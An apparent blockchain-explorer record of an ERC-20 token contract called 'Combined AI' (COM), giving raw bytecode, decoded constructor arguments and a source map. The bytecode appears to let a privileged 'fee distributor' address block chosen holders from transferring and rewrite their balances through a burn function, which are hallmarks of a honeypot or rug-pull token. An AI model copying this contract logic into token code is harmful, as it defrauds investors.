36000830152611f0781611c92565b9050919050565b60006020820190508181036000830152611f2781611cd2565b9050919050565b6000602082019050611f436000830184611d38565b92915050565b6000602082019050611f5e6000830184611d47565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611f8b82612048565b9150611f9683612048565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611fcb57611fca61210d565b5b828201905092915050565b6000611fe182612048565b9150611fec83612048565b925082821015611fff57611ffe61210d565b5b828203905092915050565b600061201582612028565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561207d578082015181840152602081019050612062565b8381111561208c576000848401525b50505050565b600060028204905060018216806120aa57607f821691505b602082108114156120be576120bd61213c565b5b50919050565b60006120cf82612048565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156121025761210161210d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6121858161200a565b811461219057600080fd5b50565b61219c8161201c565b81146121a757600080fd5b50565b6121b381612048565b81146121be57600080fd5b5056fea2646970667358221220843cec19897867967f7de9b3bfecc593a844844f7fb6bb74fe7b19f430b6e6d664736f6c63430008000033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000b2d05e000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000b436f6d62696e65642041490000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003434f4d0000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a457c2d711610071578063a457c2d7146102d1578063a9059cbb14610301578063a9ddeaa214610331578063dd62ed3e1461034d578063e074839e1461037d57610116565b8063715018a61461026f5780638da5cb5b1461027957806395d89b41146102975780639dc29fac146102b557610116565b8063293230b8116100e9578063293230b8146101b7578063313ce567146101c157806339509351146101df5780633ebf64741461020f57806370a082311461023f57610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b610123610399565b6040516101309190611d8c565b60405180910390f35b610153600480360381019061014e9190611843565b61042b565b6040516101609190611d71565b60405180910390f35b61017161044e565b60405161017e9190611f2e565b60405180910390f35b6101a1600480360381019061019c91906117f4565b610458565b6040516101ae9190611d71565b60405180910390f35b6101bf610487565b005b6101c961055d565b6040516101d69190611f49565b60405180910390f35b6101f960048036038101906101f49190611843565b610566565b6040516102069190611d71565b60405180910390f35b6102296004803603810190610224919061178f565b610610565b6040516102369190611d71565b60405180910390f35b6102596004803603810190610254919061178f565b610666565b6040516102669190611f2e565b60405180910390f35b6102776106af565b005b6102816107b2565b60405161028e9190611d56565b60405180910390f35b61029f6107db565b6040516102ac9190611d8c565b60405180910390f35b6102cf60048036038101906102ca9190611843565b61086d565b005b6102eb60048036038101906102e69190611843565b61090b565b6040516102f89190611d71565b60405180910390f35b61031b60048036038101906103169190611843565b6109f5565b6040516103289190611d71565b60405180910390f35b61034b6004803603810190610346919061187f565b610a18565b005b610367600480360381019061036291906117b8565b610b73565b6040516103749190611f2e565b60405180910390f35b6103976004803603810190610392919061178f565b610bfa565b005b6060600680546103a890612092565b80601f01602080910402602001604051908101604052809291908181526020018280546103d490612092565b80156104215780601f106103f657610100808354040283529160200191610421565b820191906000526020600020905b81548152906001019060200180831161040457829003601f168201915b5050505050905090565b600080610436610d15565b9050610443818585610d1d565b600191505092915050565b6000600454905090565b600080610463610d15565b9050610470858285610ee8565b61047b858585610f74565b60019150509392505050565b61048f610d15565b73ffffffffffffffffffffffffffffffffffffffff166104ad6107b2565b73ffffffffffffffffffffffffffffffffffffffff1614610503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104fa90611e4e565b60405180910390fd5b60001515600860009054906101000a900460ff161515141561053f576001600860006101000a81548160ff02191690831515021790555061055b565b6000600860006101000a81548160ff0219169083151502179055505b565b60006009905090565b600080610571610d15565b9050610605818585600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106009190611f80565b610d1d565b600191505092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106b7610d15565b73ffffffffffffffffffffffffffffffffffffffff166106d56107b2565b73ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290611e4e565b60405180910390fd5b61073560006113d2565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546107ea90612092565b80601f016020809104026020016040519081016040528092919081815260200182805461081690612092565b80156108635780601f1061083857610100808354040283529160200191610863565b820191906000526020600020905b81548152906001019060200180831161084657829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f490611eee565b60405180910390fd5b6109078282611496565b5050565b600080610916610d15565b90506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838110156109dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d390611f0e565b60405180910390fd5b6109e98286868403610d1d565b60019250505092915050565b600080610a00610d15565b9050610a0d818585610f74565b600191505092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9f90611eee565b60405180910390fd5b60005b83839050811015610b6d5781600a6000868685818110610af4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610b09919061178f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b65906120c4565b915050610aab565b50505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c02610d15565b73ffffffffffffffffffffffffffffffffffffffff16610c206107b2565b73ffffffffffffffffffffffffffffffffffffffff1614610c76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6d90611e4e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd157600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8490611ece565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df490611dee565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610edb9190611f2e565b60405180910390a3505050565b6000610ef48484610b73565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610f6e5781811015610f60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5790611e0e565b60405180910390fd5b610f6d8484848403610d1d565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fe4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fdb90611e8e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611054576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104b90611dae565b60405180910390fd5b60011515600860009054906101000a900460ff16151514806110a857506110796107b2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806110e557506110b66107b2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561136b576000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156113665761113c8382611662565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111d157600081116111d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c790611eae565b60405180910390fd5b5b6111dc8383836116fc565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611263576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125a90611e2e565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112f89190611f80565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161135c9190611f2e565b60405180910390a3505b6113c2565b60011515600860009054906101000a900460ff161515146113c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b890611eae565b60405180910390fd5b5b6113cd838383611701565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611506576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114fd90611e6e565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561158d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158490611dce565b60405180910390fd5b8160095461159b9190611fd6565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546115f09190611fd6565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116559190611f2e565b60405180910390a3505050565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116f857600081146116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ee90611eae565b60405180910390fd5b5b5050565b505050565b505050565b6000813590506117158161217c565b92915050565b60008083601f84011261172d57600080fd5b8235905067ffffffffffffffff81111561174657600080fd5b60208301915083602082028301111561175e57600080fd5b9250929050565b60008135905061177481612193565b92915050565b600081359050611789816121aa565b92915050565b6000602082840312156117a157600080fd5b60006117af84828501611706565b91505092915050565b600080604083850312156117cb57600080fd5b60006117d985828601611706565b92505060206117ea85828601611706565b9150509250929050565b60008060006060848603121561180957600080fd5b600061181786828701611706565b935050602061182886828701611706565b92505060406118398682870161177a565b9150509250925092565b6000806040838503121561185657600080fd5b600061186485828601611706565b92505060206118758582860161177a565b9150509250929050565b60008060006040848603121561189457600080fd5b600084013567ffffffffffffffff8111156118ae57600080fd5b6118ba8682870161171b565b935093505060206118cd86828701611765565b9150509250925092565b6118e08161200a565b82525050565b6118ef8161201c565b82525050565b600061190082611f64565b61190a8185611f6f565b935061191a81856020860161205f565b6119238161216b565b840191505092915050565b600061193b602383611f6f565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006119a1602283611f6f565b91507f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611a07602283611f6f565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611a6d601d83611f6f565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b6000611aad602683611f6f565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611b13602083611f6f565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611b53602183611f6f565b91507f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611bb9602583611f6f565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611c1f600083611f6f565b9150600082019050919050565b6000611c39602483611f6f565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611c9f601d83611f6f565b91507f43616c6c6572206973206e6f7420666565206469737472696275746f720000006000830152602082019050919050565b6000611cdf602583611f6f565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b611d4181612048565b82525050565b611d5081612052565b82525050565b6000602082019050611d6b60008301846118d7565b92915050565b6000602082019050611d8660008301846118e6565b92915050565b60006020820190508181036000830152611da681846118f5565b905092915050565b60006020820190508181036000830152611dc78161192e565b9050919050565b60006020820190508181036000830152611de781611994565b9050919050565b60006020820190508181036000830152611e07816119fa565b9050919050565b60006020820190508181036000830152611e2781611a60565b9050919050565b60006020820190508181036000830152611e4781611aa0565b9050919050565b60006020820190508181036000830152611e6781611b06565b9050919050565b60006020820190508181036000830152611e8781611b46565b9050919050565b60006020820190508181036000830152611ea781611bac565b9050919050565b60006020820190508181036000830152611ec781611c12565b9050919050565b60006020820190508181036000830152611ee781611c2c565b9050919050565b60006020820190508181036000830152611f0781611c92565b9050919050565b60006020820190508181036000830152611f2781611cd2565b9050919050565b6000602082019050611f436000830184611d38565b92915050565b6000602082019050611f5e6000830184611d47565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611f8b82612048565b9150611f9683612048565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611fcb57611fca61210d565b5b828201905092915050565b6000611fe182612048565b9150611fec83612048565b925082821015611fff57611ffe61210d565b5b828203905092915050565b600061201582612028565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561207d578082015181840152602081019050612062565b8381111561208c576000848401525b50505050565b600060028204905060018216806120aa57607f821691505b602082108114156120be576120bd61213c565b5b50919050565b60006120cf82612048565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156121025761210161210d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6121858161200a565b811461219057600080fd5b50565b61219c8161201c565b81146121a757600080fd5b50565b6121b381612048565b81146121be57600080fd5b5056fea2646970667358221220843cec19897867967f7de9b3bfecc593a844844f7fb6bb74fe7b19f430b6e6d664736f6c63430008000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000b2d05e000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000b436f6d62696e65642041490000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003434f4d0000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name (string): Combined AI
Arg [1] : symbol (string): COM
Arg [2] : totalSupply (uint256): 3000000000
Arg [3] : initTransfer (bool): True

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 00000000000000000000000000000000000000000000000000000000b2d05e00
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000001
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000b
Arg [5] : 436f6d62696e6564204149000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [7] : 434f4d0000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

9843:356:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4299:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5230:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4619:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5439:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4009:154;;;:::i;:::-;;4519:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5742:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4171:120;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4735:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1843:159;;;:::i;:::-;;754:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4407:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10083:113;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5990:438;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4870:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7285:214;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5071:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1347:145;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4299:100;4353:13;4386:5;4379:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4299:100;:::o;5230:201::-;5313:4;5330:13;5346:12;:10;:12::i;:::-;5330:28;;5369:32;5378:5;5385:7;5394:6;5369:8;:32::i;:::-;5419:4;5412:11;;;5230:201;;;;:::o;4619:108::-;4680:7;4707:12;;4700:19;;4619:108;:::o;5439:295::-;5570:4;5587:15;5605:12;:10;:12::i;:::-;5587:30;;5628:38;5644:4;5650:7;5659:6;5628:15;:38::i;:::-;5677:27;5687:4;5693:2;5697:6;5677:9;:27::i;:::-;5722:4;5715:11;;;5439:295;;;;;:::o;4009:154::-;985:12;:10;:12::i;:::-;974:23;;:7;:5;:7::i;:::-;:23;;;966:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4082:5:::1;4067:20;;:11;;;;;;;;;;;:20;;;4063:93;;;4113:4;4099:11;;:18;;;;;;;;;;;;;;;;;;4063:93;;;4149:5;4135:11;;:19;;;;;;;;;;;;;;;;;;4063:93;4009:154::o:0;4519:92::-;4577:5;4602:1;4595:8;;4519:92;:::o;5742:240::-;5830:4;5847:13;5863:12;:10;:12::i;:::-;5847:28;;5886:66;5895:5;5902:7;5941:10;5911:11;:18;5923:5;5911:18;;;;;;;;;;;;;;;:27;5930:7;5911:27;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;5886:8;:66::i;:::-;5970:4;5963:11;;;5742:240;;;;:::o;4171:120::-;4232:4;4256:18;:27;4275:7;4256:27;;;;;;;;;;;;;;;;;;;;;;;;;4249:34;;4171:120;;;:::o;4735:127::-;4809:7;4836:9;:18;4846:7;4836:18;;;;;;;;;;;;;;;;4829:25;;4735:127;;;:::o;1843:159::-;985:12;:10;:12::i;:::-;974:23;;:7;:5;:7::i;:::-;:23;;;966:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1908:30:::1;1935:1;1908:18;:30::i;:::-;1991:1;1954:40;;1975:6;::::0;::::1;;;;;;;;1954:40;;;;;;;;;;;;1843:159::o:0;754:87::-;800:7;827:6;;;;;;;;;;;820:13;;754:87;:::o;4407:104::-;4463:13;4496:7;4489:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4407:104;:::o;10083:113::-;1219:10;1203:26;;:12;;;;;;;;;;;:26;;;1195:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10166:22:::1;10172:7;10181:6;10166:5;:22::i;:::-;10083:113:::0;;:::o;5990:438::-;6083:4;6100:13;6116:12;:10;:12::i;:::-;6100:28;;6139:24;6166:11;:18;6178:5;6166:18;;;;;;;;;;;;;;;:27;6185:7;6166:27;;;;;;;;;;;;;;;;6139:54;;6232:15;6212:16;:35;;6204:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;6325:60;6334:5;6341:7;6369:15;6350:16;:34;6325:8;:60::i;:::-;6416:4;6409:11;;;;5990:438;;;;:::o;4870:193::-;4949:4;4966:13;4982:12;:10;:12::i;:::-;4966:28;;5005;5015:5;5022:2;5026:6;5005:9;:28::i;:::-;5051:4;5044:11;;;4870:193;;;;:::o;7285:214::-;1219:10;1203:26;;:12;;;;;;;;;;;:26;;;1195:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7387:9:::1;7382:110;7406:8;;:15;;7402:1;:19;7382:110;;;7477:3;7443:18;:31;7462:8;;7471:1;7462:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7443:31;;;;;;;;;;;;;;;;:37;;;;;;;;;;;;;;;;;;7423:3;;;;;:::i;:::-;;;;7382:110;;;;7285:214:::0;;;:::o;5071:151::-;5160:7;5187:11;:18;5199:5;5187:18;;;;;;;;;;;;;;;:27;5206:7;5187:27;;;;;;;;;;;;;;;;5180:34;;5071:151;;;;:::o;1347:145::-;985:12;:10;:12::i;:::-;974:23;;:7;:5;:7::i;:::-;:23;;;966:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1448:1:::1;1424:26;;:12;;;;;;;;;;;:26;;;1415:36;;;::::0;::::1;;1477:7;1462:12;;:22;;;;;;;;;;;;;;;;;;1347:145:::0;:::o;94:98::-;147:7;174:10;167:17;;94:98;:::o;8557:380::-;8710:1;8693:19;;:5;:19;;;;8685:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8791:1;8772:21;;:7;:21;;;;8764:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8875:6;8845:11;:18;8857:5;8845:18;;;;;;;;;;;;;;;:27;8864:7;8845:27;;;;;;;;;;;;;;;:36;;;;8913:7;8897:32;;8906:5;8897:32;;;8922:6;8897:32;;;;;;:::i;:::-;;;;;;;;8557:380;;;:::o;8945:453::-;9080:24;9107:25;9117:5;9124:7;9107:9;:25::i;:::-;9080:52;;9167:17;9147:16;:37;9143:248;;9229:6;9209:16;:26;;9201:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9313:51;9322:5;9329:7;9357:6;9338:16;:25;9313:8;:51::i;:::-;9143:248;8945:453;;;;:::o;7507:1042::-;7654:1;7638:18;;:4;:18;;;;7630:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7731:1;7717:16;;:2;:16;;;;7709:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7803:4;7788:19;;:11;;;;;;;;;;;:19;;;:38;;;;7819:7;:5;:7::i;:::-;7811:15;;:4;:15;;;7788:38;:55;;;;7836:7;:5;:7::i;:::-;7830:13;;:2;:13;;;7788:55;7784:710;;;7881:1;7863:9;:15;7873:4;7863:15;;;;;;;;;;;;;;;;:19;7860:581;;;7902:36;7925:4;7931:6;7902:22;:36::i;:::-;7961:18;:22;7980:2;7961:22;;;;;;;;;;;;;;;;;;;;;;;;;7957:49;;8000:1;7993:6;:8;7985:21;;;;;;;;;;;;:::i;:::-;;;;;;;;;7957:49;8025:38;8046:4;8052:2;8056:6;8025:20;:38::i;:::-;8084:19;8106:9;:15;8116:4;8106:15;;;;;;;;;;;;;;;;8084:37;;8163:6;8148:11;:21;;8140:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;8296:6;8282:11;:20;8264:9;:15;8274:4;8264:15;;;;;;;;;;;;;;;:38;;;;8357:6;8340:9;:13;8350:2;8340:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;8404:2;8389:26;;8398:4;8389:26;;;8408:6;8389:26;;;;;;:::i;:::-;;;;;;;;7860:581;;7784:710;;;8483:4;8468:19;;:11;;;;;;;;;;;:19;;;8459:33;;;;;;;;;;;;:::i;:::-;;;;;;;;;7784:710;8504:37;8524:4;8530:2;8534:6;8504:19;:37::i;:::-;7507:1042;;;:::o;2162:191::-;2236:16;2255:6;;;;;;;;;;;2236:25;;2281:8;2272:6;;:17;;;;;;;;;;;;;;;;;;2336:8;2305:40;;2326:8;2305:40;;;;;;;;;;;;2162:191;;:::o;6843:434::-;6946:1;6927:21;;:7;:21;;;;6919:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7003:22;7028:9;:18;7038:7;7028:18;;;;;;;;;;;;;;;;7003:43;;7083:6;7065:14;:24;;7057:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;7177:6;7166:8;;:17;;;;:::i;:::-;7145:9;:18;7155:7;7145:18;;;;;;;;;;;;;;;:38;;;;7210:6;7194:12;;:22;;;;;;;:::i;:::-;;;;;;;;7258:1;7232:37;;7241:7;7232:37;;;7262:6;7232:37;;;;;;:::i;:::-;;;;;;;;6843:434;;;:::o;9406:161::-;9501:18;:28;9520:8;9501:28;;;;;;;;;;;;;;;;;;;;;;;;;9497:63;;;9552:1;9541:7;:12;9532:26;;;;;;;;;;;;:::i;:::-;;;;;;;;;9497:63;9406:161;;:::o;9575:125::-;;;;:::o;9712:124::-;;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;169:367::-;;;302:3;295:4;287:6;283:17;279:27;269:2;;320:1;317;310:12;269:2;356:6;343:20;333:30;;386:18;378:6;375:30;372:2;;;418:1;415;408:12;372:2;455:4;447:6;443:17;431:29;;509:3;501:4;493:6;489:17;479:8;475:32;472:41;469:2;;;526:1;523;516:12;469:2;259:277;;;;;:::o;542:133::-;;623:6;610:20;601:29;;639:30;663:5;639:30;:::i;:::-;591:84;;;;:::o;681:139::-;;765:6;752:20;743:29;;781:33;808:5;781:33;:::i;:::-;733:87;;;;:::o;826:262::-;;934:2;922:9;913:7;909:23;905:32;902:2;;;950:1;947;940:12;902:2;993:1;1018:53;1063:7;1054:6;1043:9;1039:22;1018:53;:::i;:::-;1008:63;;964:117;892:196;;;;:::o;1094:407::-;;;1219:2;1207:9;1198:7;1194:23;1190:32;1187:2;;;1235:1;1232;1225:12;1187:2;1278:1;1303:53;1348:7;1339:6;1328:9;1324:22;1303:53;:::i;:::-;1293:63;;1249:117;1405:2;1431:53;1476:7;1467:6;1456:9;1452:22;1431:53;:::i;:::-;1421:63;;1376:118;1177:324;;;;;:::o;1507:552::-;;;;1649:2;1637:9;1628:7;1624:23;1620:32;1617:2;;;1665:1;1662;1655:12;1617:2;1708:1;1733:53;1778:7;1769:6;1758:9;1754:22;1733:53;:::i;:::-;1723:63;;1679:117;1835:2;1861:53;1906:7;1897:6;1886:9;1882:22;1861:53;:::i;:::-;1851:63;;1806:118;1963:2;1989:53;2034:7;2025:6;2014:9;2010:22;1989:53;:::i;:::-;1979:63;;1934:118;1607:452;;;;;:::